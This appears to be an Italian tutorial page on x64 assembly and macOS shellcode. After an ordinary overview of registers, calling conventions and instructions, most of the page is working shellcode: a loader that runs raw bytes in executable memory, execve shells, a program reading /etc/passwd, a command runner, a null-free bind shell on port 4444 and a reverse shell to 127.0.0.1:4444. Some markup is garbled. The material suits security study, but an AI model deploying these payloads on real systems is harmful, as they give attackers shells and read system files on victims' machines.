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Introduction to x64
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Introduzione a x64
x64, anche noto come x86-64, è un'architettura di processore a 64 bit utilizzata principalmente nei computer desktop e nei server. Originaria dell'architettura x86 prodotta da Intel e successivamente adottata da AMD con il nome AMD64, è l'architettura predominante nei personal computer e nei server odierni.
Registri
x64 amplia l'architettura x86, presentando 16 registri generici denominati rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi e r8 fino a r15. Ciascuno di essi può memorizzare un valore di 64 bit (8 byte). Questi registri dispongono anche di sottoregistri a 32 bit, 16 bit e 8 bit per la compatibilità e per compiti specifici.
rax- Tradizionalmente utilizzato per i valori di ritorno dalle funzioni.rbx- Spesso utilizzato come registro base per le operazioni di memoria.rcx- Comunemente utilizzato come contatore di loop.rdx- Utilizzato in vari ruoli, inclusa l'aritmetica estesa.rbp- Puntatore base per il frame dello stack.rsp- Puntatore stack, tiene traccia della cima dello stack.rsierdi- Utilizzati come indici di origine e destinazione nelle operazioni di stringa/memoria.r8ar15- Registri generici aggiuntivi introdotti in x64.
Convenzione di Chiamata
La convenzione di chiamata x64 varia tra i sistemi operativi. Ad esempio:
- Windows: I primi quattro parametri vengono passati nei registri
rcx,rdx,r8er9. I parametri successivi vengono inseriti nello stack. Il valore di ritorno è inrax. - System V (comunemente utilizzato nei sistemi simili a UNIX): I primi sei parametri interi o puntatori vengono passati nei registri
rdi,rsi,rdx,rcx,r8er9. Anche il valore di ritorno è inrax.
Se la funzione ha più di sei input, il resto verrà passato nello stack. RSP, il puntatore stack, deve essere allineato a 16 byte, il che significa che l'indirizzo a cui punta deve essere divisibile per 16 prima che avvenga qualsiasi chiamata. Ciò significa che normalmente dovremmo assicurarci che RSP sia correttamente allineato nel nostro shellcode prima di effettuare una chiamata di funzione. Tuttavia, nella pratica, le chiamate di sistema funzionano molte volte anche se questo requisito non viene soddisfatto.
Convenzione di Chiamata in Swift
Swift ha la propria convenzione di chiamata che può essere trovata in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64
Istruzioni Comuni
Le istruzioni x64 hanno un ricco set, mantenendo la compatibilità con le istruzioni x86 precedenti e introducendone di nuove.
mov: Sposta un valore da un registro o da una posizione di memoria a un'altra.- Esempio:
mov rax, rbx— Sposta il valore darbxarax. pushepop: Inserisce o estrae valori dallo stack.- Esempio:
push rax— Inserisce il valore diraxnello stack. - Esempio:
pop rax— Estrae il valore superiore dallo stack inrax. addesub: Operazioni di addizione e sottrazione.- Esempio:
add rax, rcx— Aggiunge i valori diraxercxmemorizzando il risultato inrax. mulediv: Operazioni di moltiplicazione e divisione. Nota: queste hanno comportamenti specifici riguardo all'uso degli operandi.calleret: Utilizzate per chiamare e ritornare dalle funzioni.int: Utilizzata per generare un interruzione software. Ad esempio,int 0x80veniva utilizzata per le chiamate di sistema in Linux x86 a 32 bit.cmp: Confronta due valori e imposta i flag della CPU in base al risultato.- Esempio:
cmp rax, rdx— Confrontaraxconrdx. je,jne,jl,jge, ...: Istruzioni di salto condizionale che cambiano il flusso di controllo in base ai risultati di un precedentecmpo test.- Esempio: Dopo un'istruzione
cmp rax, rdx,je label— Salta alabelseraxè uguale ardx. syscall: Utilizzata per le chiamate di sistema in alcuni sistemi x64 (come le versioni moderne di Unix).sysenter: Un'istruzione di chiamata di sistema ottimizzata su alcune piattaforme.
Prologo della Funzione
- Inserisci il vecchio base pointer:
push rbp(salva il base pointer del chiamante) - Sposta il puntatore stack corrente al base pointer:
mov rbp, rsp(imposta il nuovo base pointer per la funzione corrente) - Alloca spazio nello stack per le variabili locali:
sub rsp, <size>(dove<size>è il numero di byte necessari)
Epilogo della Funzione
- Sposta il base pointer corrente al puntatore stack:
mov rsp, rbp(dealloca le variabili locali) - Estrai il vecchio base pointer dallo stack:
pop rbp(ripristina il base pointer del chiamante) - Ritorna:
ret(restituisce il controllo al chiamante)
macOS
syscalls
Ci sono diverse classi di syscalls, puoi trovarle qui:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
Quindi, puoi trovare il numero di ogni chiamata di sistema in questo URL:
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
Quindi, per chiamare la syscall open (5) dalla classe Unix/BSD, devi aggiungerla: 0x2000000
Quindi, il numero di syscall per chiamare open sarebbe 0x2000005
Shellcodes
Per compilare:
{% code overflow="wrap" %}
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
{% endcode %}
Per estrarre i byte:
{% code overflow="wrap" %}
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
{% endcode %}
Codice C per testare lo shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
Preso da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='con adr'></div>
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
Leggere con cat
L'obiettivo è eseguire execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack di indirizzi).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
Eseguire un comando con sh
Per eseguire un comando utilizzando sh su macOS, è possibile utilizzare il seguente comando:
sh -c "comando"
Sostituisci "comando" con il comando che desideri eseguire.
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
Bind shell
Bind shell da https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html sulla porta 4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
Reverse Shell
Reverse shell da https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell a 127.0.0.1:4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall